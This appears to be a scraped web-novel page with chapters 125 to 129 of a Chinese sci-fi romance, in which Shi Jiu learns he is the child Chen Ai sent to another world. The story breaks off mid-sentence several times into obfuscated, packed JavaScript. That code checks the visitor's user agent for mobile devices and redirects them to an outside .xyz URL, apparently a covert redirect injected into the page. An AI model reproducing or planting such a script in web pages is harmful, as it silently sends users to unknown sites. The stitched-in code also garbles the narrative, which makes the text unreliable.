l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654731|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>啊啊烦死了烦死了!舟之覆恶狠狠道:“哭什么哭啊!谁他妈不死一两个喜欢的人!全世界都来找我,我怎么不去死啊!给我建个博物馆,天天买票排队来参拜我好了!” 言不恩不动,即使眼睛瞪得大大的,也控制不住眼泪。 舟之覆被那眼睛盯得浑身发毛,干脆耍赖一样猛地原地坐下像帕金森一样装疯癫,嘴里还发出奇怪的破碎语音。 就这样也没赶走言不恩,他最后没办法站起来,抱头也哭出来,一边拍门一边朝外面大喊:“我的妈哎有没有人带走她啊!沉皑!沉皑你大爷的人呢!沉皑!你带来的人!操你大爷!哎哟我去!时咎宝贝!时咎!哎我真是救命了!!” 牢房另一头听到惨烈叫声的沉皑淡淡说:“别管他。” 时咎毫无表情:“我觉得也是。” 大声吼完,语调一转,舟之覆跟马戏团演戏的一样,他突然放低声音,非常小声、用只有言不恩能听到的声音恶狠狠地说:“死小孩我告诉你,死人太正常了,你迟早都得死。别在我这梨花带雨要死不活的,你牛逼你接替季水风去,把她想做的事做了,她的愿望帮她完成了,保证你活多久,她就等于活多久!” “舟先生,请不要这么跟小妹妹说话。” 不该出现的声音突然出现,舟之覆感到浑身一僵,头一点一点转回来,接着便看到房间里面始终站在角落的何为动了,他往前走了两步,抬头有些担忧地看了眼言不恩,又看向舟之覆。 他,他突然突然有意识了?不,应该很快又会消失。舟之覆双唇抖了一下,随后露出一个嘲讽的笑容,轻声说:“你管我?” 何为的眼神有些悲伤。他半透明的身体被一层淡淡的蓝色光芒包围,在断断续续被召唤出来的这几个月里,他已经意识到自己死亡的事实,也讶异自己居然还能以另一种形态重回这个世界,只是每次回来的时间不长,或许几秒,或许几分钟,便又坠入无边黑暗。 何为也不知道自己听对话听没听全,他缓步走到言不恩身边,身体径直穿过房间的门,在言不恩满脸眼泪的神情里抬手,试图去帮她擦掉眼泪,但手抬一半又收回了,他知道自己触碰不到她。 何为细声说:“我不知道你想见的人跟你什么关系,但是死亡是一件很正常的事,我们每个人每天都在经历死亡,比如一个再也不联系的朋友,从不联系那天起,他在你的世界已经死去了,物品也是,只要跟你没有联系,对你来说都是死亡。但是,就算一个人的□□真的从世界上消失了,你还带着他的信念,你还时常想起和他的一切,他的精神永远跟你互动,那他就是活着的。舟先生虽然说话难听,但是他刚刚说了一句我认为对的话,去做他想做的事,完成他的愿望,他会活到你消失的那天。” 言不恩湿润的眼睛看着这个半透明的人。 舟之覆满脸戾气,却没有打断他们的对话,只是自顾自小声嘟囔一句:“屁话真多啊!” 监狱另一头在和季山月聊天的时咎无意中转过头,却看到何为的影子,愣住,对沉皑说他过去一下,便走了过去。 125. 第 125 章 “何为?”时咎叫道。 何为转过身,看到来人,笑脸瞬间出现:“十九!” “你……”时咎惊讶地打量他,又打量里面的舟之覆,舟之覆坐在小床上翘着二郎腿,脸臭得跟茅坑里的屎一样,见时咎的目光扫过来,他“哼”了一声别开脸。 时咎:“……”谢谢,我也并没有很想看你。 时咎知道言不恩一定就是为了这个来的,看到何为也产生了意识,不禁想知道季纯的情况。 何为笑着问时咎:“好久不见,可想你了,最近过得还好吗?” 时咎还没回答,舟之覆“噌”一下从床上站起来了,他不耐烦道:“你想屁啊想,时咎是我的宝贝,你凭什么想?” 何为愣在当场,一时间不知道该说什么,只能“嗯呃”半天,不确定道:“可是十九不是,不是和沉先生在一起吗?什么时候……” 时咎无语道:“你别理他!神经病!” 舟之覆大喊大叫:“哎呀!我的时咎宝贝,你说谁神……”舟之覆说到这里突然不出声了,他顿在原地,忽然自顾自转了个身,重新坐回床上,眉头皱起来好像在想什么。但这副模样在外人看来就是神经病确诊了。 时咎注意力转移到言不恩身上,稍稍弯下腰轻声问:“怎么样了?” 言不恩摇头。 “好吧,下次再来吧。”时咎摸她的头,“也可以天天来,天天磨他,说不动就揍他,揍到他答应为止。” 沉浸在自己世界里的舟之覆突然警觉地抬头:“你说揍谁?” 时咎皮笑肉不笑:“谁接我话就揍谁。” 舟之覆哭腔:“宝贝你变了,你一定是不喜欢我了。” 时咎戾气咬牙说:“滚!” 这一次何为的时间坚持了很久,直到沉皑和时咎带着言不恩离开,他也保持着意识。 舟之覆陷入深思很久,旁边何为小心翼翼问他:“舟先生,你在想什么?” 舟之覆才抬头与何为担忧的目光碰上,舟之覆“嘶”了一声,歪头说:“监狱里定点才能出去,平常只有我一个人,季山月不算人,我可以试探的机会太少了,哎蠢东西我问你。” “啊?”何为端正身体听他说,连这不礼貌的称呼都忽略了。 却听到舟之覆小声又一本正经地说:“你想去精神病院吗?” 何为瞪大眼震惊:“啊?” 舟之覆的心思向来没人能猜中。他非常乐意当一个独自快乐的精神病患者,如果这可以让他更接近自己所想:我与我周旋,宁作我。 只是这从监狱跋涉到精神病院,还得费一番功夫。舟之覆想起自己在对言不恩发癫的时候,沉皑与时咎肯定跟那边季山月聊了些什么,说不定,季山月这莽夫性格会问出能不能提前释放的话。 他毫无察觉地拿自己的惯性强加于他人,并朝监狱另一头大喊:“季山月傻狍子!” 嘶,好像有问题询问对方不应该这么不礼貌,于是舟之覆去掉了不礼貌用语,重新大喊:“傻狍子!” 季山月没理他,舟之覆连续不断喊了好几声,荡得整条走廊都在“傻狍子,傻狍子,狍子,子……” 喊得何为在旁边紧张提醒:“舟先生,不要这样叫人,人家不会回答你的。” “哦。” 经由何为提醒——其实舟之覆知道这样叫不好,但他就是想知道季山月会不会答应,现在有答案了,他只能叫回季山月的本名,又是连续叫了好几声,那边不耐烦的声音才传过来。 “你烦不烦?叫丧啊!”季山月怒气冲冲的,一出声,就好像回到以前大大咧咧的状态。 舟之覆嘀咕:“也不是不行,但得加钱。”咳,他言归正传,大着嗓子问,“你刚刚跟他们聊什么了?” 片刻,季山月的声音直冲过来:“跟你有什么关系?” 舟之覆说:“你想出去吗?给我点参考意见!” “给你大爷来两个王八!滚!” “别这样嘛!我们现在是同一条船上的王八!” 季山月不理他了,任由对面大喊大叫骂人,也不想理他了。 季山月一直躺在小床上,目光却看着那扇长方形玻璃窗,外面的栏杆也只是简单的十字形,但在这个监狱发生越狱事件前,连那个栏杆也是没有的,光秃秃的玻璃可以清晰看到外面的场景,只是窗户对着安全中心背后,那背后是一片花草树木。 花草无情人有情,偶尔季山月也会泛灵论,觉得花草也有情,不然为什么看着这永远不变的墙壁都算平静,看向窗外的花草反而生出悲凉。 他以为他会死,当他从生物坟场昏迷过去后,不知道过了多久才醒来,但醒来后四周都是黑色,他像行走在一个没有边界没有恒星行星的宇宙,没有人听到他,他也听不到任何人,后面又是昏迷,直到下一次睁眼,眼前是老宅他的房间,熟悉的地方。 他看到言不恩,才知道自己一直困于她的结界。 老宅里没人,后来连言不恩也离开了。他便一个人在这生活了十多年的地方,像山像月。 他和自己打架,去争夺站在那束光下的权利,求得一个本我超我的延续,每天都筋疲力尽,包括现在,战争无时无刻不在进行。 刚刚沉皑问他,他怎么想。他说不知道。 时咎对他解释:“我不知道你的人格在之前是不是也因为夏癸的催化,但现在她死了,这些问题你就要自己解决了。你知道另一个你出现的原因是无法接受季纯代替季水风,但你又很爱她,你不想内心这么煎熬,就发展出另一个你来代替你承受,他是保护你,但你真的需要他保护吗?” 小床的塌陷突然恢复如初,季山月站起来,摸索着走到窗边,双手攀上那块透明玻璃,沉默望着外面的花草。他想,他理解自己,却永远不会原谅自己。 如果有一天,他可以直视季纯的墓碑了,他会说什么? 沉皑和时咎从监狱出来的时候,刚好有掌权者大楼的人带人勘察起源实验室那一块,他们在商议实验室的重建和重设计。 时咎一直侧着头看那一片被围起来的废墟,心想还是晚了,再早点时间,早到他刚刚来这儿、还在跟沉皑针锋相对的时候,就把起源实验室给他炸了多好。 沉皑斜眼看到时咎那一脸不可说的微笑,就知道他又在动用他的艺术家大脑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667025|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道在想什么稀奇古怪的东西。 “有了反起源进化,之后公民会不会怀疑这个进化的漏洞?”时咎从回忆里脱离出来,开始想正事。 沉皑淡淡回答:“会。” “有什么应对措施吗?” 时咎很久以前就在想这种物质性进化的弊端,不过对应他们的历史其实也是正确的道路,他不能拿着地球千百年的发展进程套用别人的历史,既然多出了能力系统,就一定会有所不同。 沉皑思索着说:“目前拟定的是取消申请通道。” “取消申请通道?”时咎惊讶。 如果物种起源进化依然留存,那这次的事件确实是因为申请通道做了掩护,虽说思维透明,大部分人也愿意无条件开放,但出于保护一部分隐私,总有人不愿意的,问题就出在这小部分人身上。 取消申请通道相当于是纯粹透明,是真正理想化的状态。 虽说时咎赞同的是长久的自省自识,但他的思维依然局限在过去二十多年自己生活的环境,如果恩德诺所有公民认可的事,于他们来说就是最好的选择。 沉皑大概知道他在想什么,他说:“可能会做很多次民意调查。” 说到这个,沉皑揉了揉眉心,后面的事还有很多,很多格局都会发生改变,也许又需要几十年,甚至几百年来适应,以后的文明究竟会发展到什么程度,都是第一次摸索,谁也不知道。 时咎的目光从废墟里挪出来,他看向沉皑,笑说:“事关起源实验室,那沉先生以后可有的忙了。” 沉皑应了一声。其实他也不是一定要去起源实验室工作,回归沉家本心、做慈善都可以,只是他想到这件事关系重大,也许亲自来会更好。 一想到沉皑以后还会在这片废墟重建的地方工作,时咎突然眼前一亮。 时咎说:“我有一个不成熟的想法。” “嗯。”每次时咎说这种话,沉皑就眉心一跳,总感觉不是什么好事。 时咎非常认真说:“既然实验室是我炸的,要不这次新实验室的设计图交给我?” 竟然是个正常的提议。 沉皑无奈笑了下,说:“好,我去跟他们说。” “哇哦。”时咎轻飘飘的故意捏着嗓子,“沉先生可真敢相信我。” 沉皑不想回答他故意的语调,他伸手,手指勾着时咎的脖环,把人拉了过来。 第一次被这么扯走的时咎震惊:“你做什么?” 沉皑没说什么,只是埋头淡然地在他唇上轻轻点了一下。 时咎屏住呼吸:“这是文明中心广场上!!” 沉皑无所谓:“所以?” 所以! 算了!一起呆久了也开始不管不顾了。 沉皑松开手,两人走出文明中心大门。 半晌,时咎突然想起什么,问:“你什么时候会做梦,来我这里看看?” 这个问题,沉皑也不知道,他只能柔和道:“我尽量。” 和时咎不同,他并不像时咎那样每天每次睡着就能来这里,他太少做梦了,也只能姑且一试。 这一试,就试在当天晚上。 126. 第 126 章 AETERNUS展览馆,时咎缓慢睁眼从太空椅上醒来,眼前人来人往,认真看展的人很多,并不是太吵,所以他可以在这里安然睡这么久。他活动活动身体,心里想了好几个心锚词,发现都没有任何感觉和异样,于是长舒一口气,这次是真的醒来了。 他躺着没动,目光始终注视着来来往往的人群,片刻,掏出耳机带上,播放音乐,重新闭上眼。 ——若时间逝去,你就是我的四季。 展览馆的声音渐渐平息,所有情绪都变成了耳机里的音乐。 梦里外的时间总是不一样的,也不知道多久可以等到他。 很久,时咎感觉不真切地听到了人们小声的议论声,紧接着一道黑影遮住了他与光线的接触,耳机突然被拿掉,音乐瞬间放远,时咎倏然睁眼。 背景的人们有走来的也有离开的,有人在朝这边看,有人也在兴奋讨论,这些都是背景,如同失焦失色的相片,唯一的焦点与色彩是沉皑,他就站在近在咫尺的位置,表情柔和地朝时咎晃了晃手里的耳机。 等的人来了。 时咎无奈笑了下,伸出手,沉皑便把他从太空椅上拉了起来。时咎顺势环抱住面前的人,也不管周围是什么场景,反正只要是沉皑,其他都不想管了。 时咎抱着他,声音有点闷:“才一会儿就想你了。” 沉皑轻声说:“那你再多想会儿。” 无论是现实还是幻境,这个人吸引别人目光的程度都是如出一辙。 时咎问他:“怎么这次这么快就做梦了?” “你走了,想见你,就来了。” 时咎“噗”一声笑出来。 静静相拥好一会儿,两人分开后,沉皑目光扫过整个展览馆,时咎立刻跟他说:“我的作品展览,你要看吗?” 沉皑欣然:“当然。” 麻烦的就是要再重新讲解一遍……不对,这是沉皑最熟悉的地方,他没必要讲解。 时咎很自然地挽着沉皑的手,跟着他的脚步在展厅里一个作品一个作品地看着,如同所有普通参观者。 不仅是作品,连整个展馆,沉皑也在认真看,他对这个世界充满好奇,像时咎第一次到恩德诺,看到文明中心一样。 那些展览柜里陈列了他熟悉的一切地方,越看,越让人觉得柔软。 到最后介绍艺术家的画壁上,沉皑抬头认真阅读那些字句,比看什么都认真。展览厅的顶光打下来,好像这个人站在这里,也是展览的一部分。 等了半晌,时咎低声问他:“看够没啊?别人看展,你看我的介绍?” 沉皑点头,目光并没有挪开,他轻声说:“之前只知道你是什么样的人,不知道你为什么会变成这样的人,经历了什么,所以想认真看下。”说着,他伸手去触碰介绍里“时咎”两个字,字做了浮雕处理,那些凸起与手指按压着,似乎从名字的沟壑中也能窥见到他经历的一生,他所有的悲欢离合。 一定要问这名字有什么意义,沉皑可能会回答:这名字里有清晨、夜晚、低语、琴声和坚定的信任,这个名字里,写着我的名字,和我全部的心意。 时咎觉得很窝心,手也不由自主收紧。他想到他询问沉皑过往经历的那个晚上,或许,他们抱着一样的心情。想知道对方的一切,他所想所感,他感兴趣的领域,他喜欢的事物,他好的不好的脾性,全想知道,全想放进自己的生命。 沉皑收回手,但目光依然没从画壁上离开,他盯着那名字,轻轻开口:“咎,是灾祸的意思,为什么你的父母要给你取这个字?” 按理说该叫时久的。 这个问题时咎也问过,当时他的父母解释说,因为他非常小的时候一直生重病,不是在手术室就是重症监护室,转到普通病房没多久又要生命垂危,什么办法都没有,科学寻路无果就转向寻求玄学,他们找到一位厉害的大师,因为没有八字,只能看相或者其他办法,最后得出结论说,因为这个小孩不属于这个世界,随时都会被阴间收回,只有活过五岁才算是被这个世界接纳。当时他只有一个小名叫小久,大师让他们给改名,说以毒攻毒,灾祸阻止灾祸,正好找到“咎”这个近音字。 时咎脑子转得很快,从父母一堆话里立马找到了不理解的信息,他问父母为什么他没有八字?最后,磕磕巴巴套出了他是被收养的事,他出现在学校教室,被教授发现,当时以为是哪个不负责的学生做的事,后来实在没有找到人,干脆自己收养了,正好他们也一直没有孩子。这件事时咎没有特别在乎,在被遗弃的那瞬间,他的生命进程与真实生他的人已经没有联系了,他就认这两个教授。 谈话间,时咎突然想起另一件事,是之前幻境里沉皑对他提过的那串数字,现在想起,他对那串数字依然没有印象,但幻境和梦都是潜意识的塑造,人认知里没有的东西绝对不会出现,所以那串数字在他幻境里既然出现了,他一定是听说过,只是记不起。 时咎如实向沉皑提了这一茬,着重说了那串数字。沉皑愣了很久,他浑身僵硬地站着,在这展览馆里,就像展出的雕塑,笔直挺拔。 时咎听到他用不太敢相信的声音说:“我觉得,不用求证了。” “为什么?” 脚步奔跑的声音由远及近,随着“啪”一声,一只手拍上时咎的肩,打断他接下来的话。 “大艺术家!” 时咎转头,看到是唐廷璇,同时沉皑也看了过去。 唐廷璇原本还笑嘻嘻地想跟时咎说话,眼珠子一瞥,瞥到沉皑,她惊呆了,表情瞬间就变,不自觉睁大双眼说了句:“卧槽好帅!” 时咎扶额:“……差不多得了。” 唐廷璇两边看,也毫不避讳地问:“大艺术家,这是你朋友啊?” 时咎觉得很好笑,他发给唐廷璇那些关于梦里的细节,她指定是忘了,不然怎么这么显眼的眼睛颜色也认不出来。 他牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沉皑看向他,郑重道:“我捡的那个小孩,生日是266年7月27日,因为小时候遇见你,带着怀念的心思,我给他取名也叫小久。逃亡的时候,我想随时都有危险,那个孩子我可能会随时交管出去,所以留了这两个信息在他身上。” 时咎脑子彻底雪花过去了,很快,他清明起来。这串数字有很小的可能性会被这样重组出来,“小久”这个名字也有可能单独出现,但若这两个信息同时出现在同一个人身上…… 时咎不禁后退一步,他的心如同久旱裂纹的大地,终日仰望晴朗的天空,等待乌云聚集,再聚集,越来越深沉,越来越厚重,越来越黑,终于等到某一刻,电荷积压到不堪重负,最终超过空气的击穿电压,电弧出现那一秒,世界煞白,随着雷神之锤砸下——下雨了。 雨滋润到他干涸的土地上,浇灌满沟壑里所有的未知。他突然想明白了这一切的缘由。 为什么是他?偏偏是他做梦去了恩德诺,不可思议与它有了联系,他每次出现都在沉皑身边,他的坐标就是沉皑。 127. 第 127 章 在那个逃亡的夜晚,沉皑带着小孩穿梭于城市乡间,眼见寒风将至,他用所有的能力护住这个小孩,或许他不需要将全部能量都拿来保护这个孩子,但走投无路之时,他做了这个选择。 那一刻他所有的爱与仁慈一齐爆发,带着希望他安全、再也不会被那些人找到的信念,将小孩送了出去,去了哪里他并不知道,他只知道他的能量会带这个新生的生命去一个安全的地方。一个绝对安全、不会被这个世界的权力中心抓到的地方在哪? ——另一个世界。 当他们在梦的裂隙中遇到季雨雪时,她已经说过了答案,超越维度和时空的东西,是真心,是大爱,是仁慈。沉皑的能力正是这个。 于是小孩彻底从恩德诺消失,到达另一个世界,却不习惯这个新时空的频率,开始永无止尽的排异,直到他撑过来。 他可以感知很多东西,察觉到常人无法察觉的情绪,对艺术的天赋,都不算天赋,是被沉皑的能量裹挟着到来后、身体里依然残存的沉皑的信息,和已经消耗得微不可察的、他的能力。 小孩慢慢长大,有了自己的意志,但他本与另一个世界的人有千丝万缕的关系,终于某一天,身体的能量无法支持他真实回到原本的世界,联系便以梦的形式出现,他回到了给他新生的那个人身边,且只会出现在他身边。 带着他瞬移的能量,每一次黑洞,全是对方能力的牵引。 长久的相处,互生的情愫,在一次一次的经历中逐渐蔓延,新的能量与旧的能量交融,曾经的小孩既看到了那些属于自己、也属于他的能量。直到猛烈的打击来袭,他回到那个人的过去。 在曾经与他见面,给他爱、教他爱,给他陪伴,给他的心里种下一颗种子。种子在漫长的时光里生根发芽,他长成最好的模样,始终记得从未来回来的那个人对他说的话。 要有爱,大爱、仁慈。 于是在那个逃亡的夜晚,他亲手写下遥远记忆里那个消失的人的名字,将自己的爱与仁慈送了出去。 一切的时间回到起点。 雨静风停。 时咎的脸色逐渐恢复血色,他在想,到底是因为自己叫小久,导致沉皑给小孩取名也叫小久,还是因为沉皑给那个小孩取名叫小久,他现在才叫小久。答案如同一条衔尾蛇,纠缠不清。 至于穿越时空后,又扭曲时间,他回到了地球的21世纪初,他想不清楚原因,也许是时空曲率导致,但这样的解释太学术,他每次都把事情想复杂,或许只是因为沉皑的能力送他去了一个与沉皑相当的年份,这样他就可以在差不多的年龄和沉皑遇到了。 时咎吐出一口气,迅速消化这些信息,再抬头看向沉皑的时候,内心有些悄然变化。 时咎想到在恩德诺经历的种种,突然释怀般笑出来,他就着沉皑此时双手扶自己肩的动作,身体往前倾扑进他怀里,双手紧紧拥着他。 沉皑的双手环绕很紧,他的声音微不可察,轻轻地、灼热地吐出一口气:“我一直在找你,原来是你,原来是你,都是你……” 所有时间线上的珍贵,全都是他;所有的锚点,都是他。 时咎见过沉皑的能力三次大面积爆发,第一次是在时咎说出“是我”的那天夜里,那是对他个人的爱;第二次是生物坟场,是对想保护的人的奋不顾身、是勇气与决心;第三次则是文明中心大战,是他对所有人的爱。 以至于沉皑第二次失去能力,却没有再失去对情绪的感知:时咎身上有他残存的能力。 如果没有沉皑的爱与仁慈,时咎便不会通过他的能量到达另一个时空,他若不在另一个时空长大,也不会是通过梦境的形式回到恩德诺。没有这些前提,他不会经历和沉皑的爱恨情仇,不会从一开始的旁观者心态转变成参与者。可故事总在继续,当夏癸的黄沙铺满恩德诺时,谁能从这时空的幻觉里醒来,给她这致命一刀? 沉皑这个人,说时咎是救世主,但他才是那个救世主。时咎这么想。 原来当初帮他制琴的小捷说,把这些微不足道的事放在更长远的未来去看,是这个意思。 那消失于海面的满月,变成一艘船,扬着帆,穿过微澜的时间,靠岸。 展览闭馆,人群三三两两走出来,沉皑本身就吸引够了目光,现在还有两人紧握的手。 沉皑一直在观察这个世界,他看到天边被涂抹的粉紫色晚霞,远处群山被晕成水墨画,余霞成绮、风景如练,海风是腥甜的,比他站在他家窗边无意中呼吸到的更甜。 车流和人群都比恩德诺多,这个世界温暖而辉煌。 时咎拉着他的手,看他注视这个新的地方看得入迷,便思考起了另一个问题。 他刚刚就在想,恩德诺纪元266年,那不就等于他们这里的2019年吗?还好他从恩德诺来到地球这个时空的时候又倒退了时间,使他活在一个和沉皑差不多的时间线里。不过从现实角度来讲,他还是个——真正的孩子!想到这,时咎忍不住大笑出来。 沉皑问他笑什么?时咎跟打开了什么开关,一下笑得停不下来,前俯后仰一路,最后来了句:“笑你啊,沉叔叔,哎叔叔,按照恩德诺的纪年法,我们相差20来岁啊!20岁你也下得去手,叔叔你是不是恋唔……” 沉皑拉住时咎笑得直不起的身子,在他还没嘲笑完的时候固定住他的头便吻上去,强行打断时咎接下来的话。 他们站在步行道与马路的交接处,街边走过的行人在看他们,路过等红绿灯那些车里的人也在看他们。 世界在运转,他们的世界静止,如同旁边停了一排汽车的尾灯,红得令人不能动弹。 时咎觉得自己有点喘不过气,因为现在的沉皑一点也不温柔,带了浓烈的侵占与宣告意味,他要象征在任何世界,这个人都属于他。 很快,沉皑放开他,还非常冷漠地发了个单音节;“嗯。” 他发现沉皑现在越来越目无旁人了。 时咎消停了,非常乖地闭嘴了。 他看到又有人在偷拍,也有人在兴奋地看,还有人的眼里充满厌恶。 时咎拉着沉皑继续漫无目的往前走,但闭嘴归闭嘴,脑子里的鬼机灵一点没停转,他突然又想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沉皑偏头吻了下怀里人的头发,语气很随意地回答:“生活里自然会见到,不会刻意见。”他们的传统观念里,谈恋爱只是两个独立人格间的交互,父母并不参与子女的人生选择,甚至意见也不会有,因为因果自行承担,很少出现适应上一代人时局的选择方式传承到下一代的情况,所以他们思维的发展很快,不再是简单的趋利避害。 但入乡随俗,沉皑思索片刻还是问:“我需要很正式见他们吗?要做什么准备?” 这问题难倒时咎了,他也没经历过,并不清楚,只能依葫芦画瓢参考别人:“也不需要很正式吧,就普通吃饭?平时什么样就怎么样。” “好。” 沉皑伸手去环他的腰,低声问:“身体还有不舒服吗?” 时咎:“没有。” 沉皑提醒他:“那你现在是不是该起床了?” 时咎伸了个懒腰,好像发现还是有些酸,便又缩回来,闷闷地说:“不起。” 沉皑去吻他的额头,轻声对他说:“但你今天要去养老院。” 闻言,时咎脑袋空白了一瞬间,随即整个人翻身就起来了:“我忘了!你怎么不早说!” 沉皑:“刚说过了。” 时咎怒吼:“再早的时候!!” 128. 第 128 章 恩德诺纪元一年后。 沉皑从起源实验室走出来,见到在外面等候多时的时咎。时咎立刻走上前去问:“有不舒服吗?” 沉皑摇头:“没什么感觉。” 时咎松一口气:“那就好。” 刚刚所在的操作室陆续走出来几个人,他们依然稍稍屈身很尊敬地对他叫了一声“沉先生”,见到站在他身旁的人,也轻轻颔首叫道,“时先生。” 沉皑淡声道:“嗯,告诉言不恩一切正常。” “好的沉先生,我马上就去。”记录员抱着电脑,转身就往外走,还没走远,又被沉皑叫住了。 “等一下,你可以叫言不恩来广场上吗?我在青石碑那里等她。”沉皑说。 记录员立刻点头:“好。”他再次离开,这回沉皑没叫住他了。 “找她有事?”时咎问。 沉皑:“嗯。”他思索一下说,“一会儿去看看舟之覆,我想她会去的。” 时咎同意:“我觉得也是。” 说话间,两人从起源实验室走出来,在初夏的阳光里缓步往广场中央绿化带处走去。 沉皑想起什么事,突然顿了一下,又继续往前走,但他的电话已经拿出来了。他给安全管理中心现在新的最高管理打电话做申请,申请临时接送季山月到市立精神病院。 沉皑挂电话后,时咎问:“你打算让季山月去见季纯?” “嗯,迟早都要面对的。” 时咎不置可否,反而调侃道:“沉先生可真是恩德诺精神教父啊,表面平平无奇起源实验室看守者,实则命令掌权者又控制安全管理中心真正背后大BOSS。” “没有命令也没有控制,我也要申请。”沉皑淡淡解释。 时咎“嗯嗯”两声继续揶揄:“也没有人会不通过沉先生的申请啊。” 沉皑没说话,只是突然拉起了时咎的手腕,看上去是想牵着他走,实际上大拇指已经轻轻摩擦着时咎的手腕,无声威胁。 时咎:“啊。” 时咎反手将手腕从沉皑手里滑出来,转为真正去牵他,随口一说:“现在你就可以和公民真正用意识交流了。”他的语气很惋惜,想到自己没有办法做进化,注定无法实现和沉皑的思维交融。 沉皑“嗯”了一下,手抓紧时咎,跟猜透他的心思一般,神色还是淡然却认真道:“没区别,我什么都会跟你说,不会骗你不会瞒你,别人用意识连接我,也会知道我很爱你。” “啊……”时咎望天,光天化日,情话出口成章? 时咎怀疑地看着他:“确定没有什么事瞒着我?” “没有。” “没有我不知道的事?” 沉皑想到了一件很久以前的事,他觉得无伤大雅,但还是实话告诉时咎了,“以前不喜欢你跟何为来往。” 时咎眉头一挑:“为什么?” 沉皑好半天憋了几个字:“不为什么,以前不喜欢。” 他那么强调“以前”两个字,说明现在是无所谓了。以前?时咎回想到曾经虚疑病爆发、他被意外抓到监狱的时候,就在那里与何为认识,后来是沉皑接他们回去的。 哦!时咎想起来当时他那一系列刻意的表现,眼角扬起来,笑道:“那个时候你还真是吃他的醋啊。” 沉皑不太想回答,为了这个不瞒他的保证,只得闷着说:“……是,吧。” 时咎开始大笑。 一年前的事结束后,文明中心用了大半年的时间来重建秩序、重立规则。 同样消沉了大半年的言不恩在某天突然来到掌权者大楼,她一来就宣布要接手掌权者的位置,大半年过去已经熟悉掌权者事物的掌权者下级们半同意半犹豫的,最后是沉皑轻描淡写的三个字敲定了这件事。他说:“我同意。” 言不恩作为掌权者的第一件事便是将生物坟场里的场景让人做成模型,建立了博物馆,旨在“不忘历史”。那是她的伤疤,尽管是不知情的伤疤,但她还是揭开了; 第二件事是重建起源实验室大楼; 第三件事是取消阶级,曾经的阶级是为了统一管理,为独裁集权做准备,但公民不需要; 第四件事是致力于起源进化仪器的升级,这项升级很快完成:取消申请通道。公民之间无条件对所有人开放,这件事对大部分的公民都没有变化,因为他们本身就是无条件开放,所以消息发出来的投票里,以绝对优势通过这一改变。 思维无条件透明实验投入使用的第一个参与者就是沉皑,就在今天。 进化依然需要检测,但科研院已经在着重投入人力物力研究可以一视同仁进化的仪器了。 走到广场绿化带旁边,沉皑的手便自然搂上时咎的肩,柔和问他:“外面热了,要不要去车里等?” 时咎奇怪看他一眼,不解道:“沉先生,我是什么脆弱的娃娃吗?” “不是。”沉皑说,有些关心则乱了,“抱歉。” 时咎笑了下,将外套顺势脱下来拿在手里:“还好你提醒,真有点热。” 他抬头看了眼掌权者大楼,目光又瞥到新建的起源实验室了。 新的起源实验室就是时咎设计的,不过他能力有限,中途找了恩德诺几位有名的建筑美学家为他提参考意见。 曾经那两块石头堆叠一样的大楼被时咎认为是实用主义,尽管外观也颇有美学意义,里面只能算差强人意,所以时咎这回全改了。他想了一些古典现代相结合的设计,建筑底层是古典派的圆柱与拱门,强调优雅和对称;背后是传统大理石;前面主要是超OLED玻璃,集成显示技术,玻璃幕墙内外同时实时显示当前动态信息;顶部也是流线型玻璃幕墙;从外面看,就是一把侧躺着的透明提琴。 不知道别人喜不喜欢,但看样子沉皑还挺喜欢。 时咎用胳膊肘碰了下沉皑,轻声问:“你真对掌权者没兴趣啊?” 沉皑对他突然问这个问题感到想笑,他说:“放心,我当掌权者,和言不恩当掌权者,我们会做的事是一样的。” “她会做什么?” 沉皑用下巴示意了一下正从掌权者大楼走出来的言不恩,低声道:“过段时间你就知道了。”他猜,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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何为喉头一动,挠头结巴说:“就,我,你之前送我的尸……我的身体回家,我的父母应该已经安葬了,但是再过几天就是我的生日,我可以,可以请求你带我回去吗?我想见我的父母。”他的语气诚恳,但却让舟之覆为难上了。 舟之覆“嘶”了一声,还真点头,在何为马上就要高兴道谢的时候又泼了盆冷水:“你说得很好,非常好,我同意。那么问题来了,我现在是个精神病,我怎么从医院出去?” 何为瞬间蔫了。 此时护士站外站着几个人,里面的人在对外面的访客解释:“舟先生还是老样子,会跟人聊天但总是惊叫,不过他习惯很好,每天健身和在公共图书室看书,会一直强调自己很忙,叫人别打扰他。” 一段时间里,时咎也分不清舟之覆是真疯了还是假疯了,突然就开始神神叨叨在监狱里大喊大叫,最后安全管理中心的人怀疑他精神异常,便给他做了测试,发现真的异常,于是就被送到这里来了。 送来一年,时咎和沉皑单独来看过几次,越到后面,时咎越发现这家伙是装疯卖傻,被戳破的舟之覆也不恼,甚至连沉皑都不避讳,直说他就是要干大事,精神病院环境比监狱好,所以他来了。 他要干什么大事? 这件大事在这天被解答了。 129. 第 129 章 